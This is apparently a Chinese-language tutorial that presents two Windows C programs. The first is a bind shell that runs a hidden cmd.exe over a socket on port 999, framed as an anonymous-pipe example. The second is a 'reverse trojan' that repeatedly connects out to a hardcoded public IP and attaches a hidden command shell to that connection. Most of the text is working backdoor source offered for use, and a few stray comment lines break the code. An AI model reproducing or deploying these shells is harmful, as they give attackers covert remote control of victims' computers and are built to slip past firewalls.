管道是一种简单的进程间通信机制实际上是共享在一段内存。一个进程在管道写数据一个进程读取。匿名管道技术只能在父子进程或者一个进程的两个子进程之间通信。下面是一个简单的例子还有注释
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsadata;
SOCKET csocket,ssocket;
SOCKADDR_IN SockAddr_in;
int ret,Adress;
WCHAR Buffer[1024];
WCHAR szCMDpath[255];
char CBuffer[1024];
STARTUPINFO startupinfo;
PROCESS_INFORMATION process_info;
ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
ZeroMemory(&szCMDpath,255);
WSAStartup(0x0202,&wsadata);
//创建套接字
csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SockAddr_in.sin_family=AF_INET;
SockAddr_in.sin_addr.s_addr=INADDR_ANY;
SockAddr_in.sin_port=htons(999);//要绑定的端口
bind(csocket,(sockaddr*)&SockAddr_in,sizeof(SockAddr_in));//绑定端口
//设置服务器监听端口
listen(csocket,2);
Adress=sizeof(SockAddr_in);
//连接远程服务器,配置隐藏窗口结构体
ssocket=accept(csocket,(sockaddr *)&SockAddr_in,&Adress);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true;
//创建两个匿名管道进行子父进程间的通信
HANDLE Writehandle1,Writehandle2,Readhandle1,Readhandle2;
CreatePipe(&Readhandle1,&Writehandle1,&sa,0);
CreatePipe(&Readhandle2,&Writehandle2,&sa,0);
startupinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startupinfo.wShowWindow=SW_HIDE;
startupinfo.hStdInput=Readhandle2;将管道2的读句柄作为子进程的输入,当父进程向管道2的写句柄写入时,由管道2的读句柄可以读出,并作为子进程的输入。
startupinfo.hStdOutput=Writehandle1;将管道1的写句柄作为子进程的输出,当子进程输出时既写入管道1的读句柄,那么父进程可以通过管道1的读进程独处。
startupinfo.hStdError=Writehandle1;
GetEnvironmentVariable(L"COMSPEC",szCMDpath,sizeof(szCMDpath));
CreateProcess(NULL,szCMDpath,NULL,NULL,1,0,NULL,NULL,&startupinfo,&process_info);//创建子进程
unsigned long LBytesRead;
while(1)//循环读取管道的数据
{
ret=PeekNamedPipe(Readhandle1,NULL,NULL,&LBytesRead,0,0);
if (LBytesRead)
{
ret=ReadFile(Readhandle1,Buffer,LBytesRead,&LBytesRead,0);//将数据从管道读出(从子进程读取数据(隐藏的命令行))
if(!ret) break;
WideCharToMultiByte(CP_ACP,0,Buffer,-1,CBuffer,wcslen(Buffer),NULL,NULL);
ret=send(ssocket,CBuffer,LBytesRead,0);//将读取的数据发送到客户端
if(ret<=0) break;
}
else
{
LBytesRead=recv(ssocket,CBuffer,1024,0);//从客户端接收数据(命令)
if(LBytesRead<=0) break;
ret=WriteFile(Writehandle2,CBuffer,LBytesRead,&LBytesRead,0);//将数据写入管道
if(!ret) break;
}
}
return 0;
}
反弹木马:
随着防火墙的发展,基于ip包过滤规则来拦截木马程序很有效的防止外部连接。反弹木马利用防火墙无条件信任内部发起的连接请求假冒系统的合法网络请求来取得对外的端口。根据这个原理就知道利用简单的tcp/ip编程就可以完成反弹木马的主要技术。而且需要一个公网ip
下面是简单的样例代码、
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"user32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsadata;
SOCKET csocket;
SOCKADDR_IN SockAddr_in;
PROCESS_INFORMATION process_info;
STARTUPINFO startupinfo;
WCHAR szCMDpath[255],Buffer[1024],IP[16]=L"59.71.137.124\x00";
char p[16];
WideCharToMultiByte( CP_ACP, 0, IP, -1,
p, 16, NULL, NULL );
unsigned short port=999;
ZeroMemory(&process_info,sizeof(PROCESS_INFORMATION));
ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
ZeroMemory(&szCMDpath,255);
GetEnvironmentVariable(L"COMSPEC",szCMDpath,sizeof(szCMDpath));//获取cmd路径
WSAStartup(0x0202,&wsadata);//ws2_32.dll
csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SockAddr_in.sin_family=AF_INET;
SockAddr_in.sin_port=htons(port);
SockAddr_in.sin_addr.s_addr=inet_addr(p);
while(connect(csocket,(struct sockaddr *)&SockAddr_in,sizeof(SockAddr_in))) Sleep(30000);//持续的发起连接,直到成功
startupinfo.cb=sizeof(startupinfo);
startupinfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
startupinfo.wShowWindow=SW_HIDE;
startupinfo.hStdOutput=startupinfo.hStdInput=startupinfo.hStdError=HANDLE(csocket);
CreateProcess(NULL,szCMDpath,NULL,NULL,TRUE,0,0,NULL,&startupinfo,&process_info);//利用管道技术回显
return 0;
}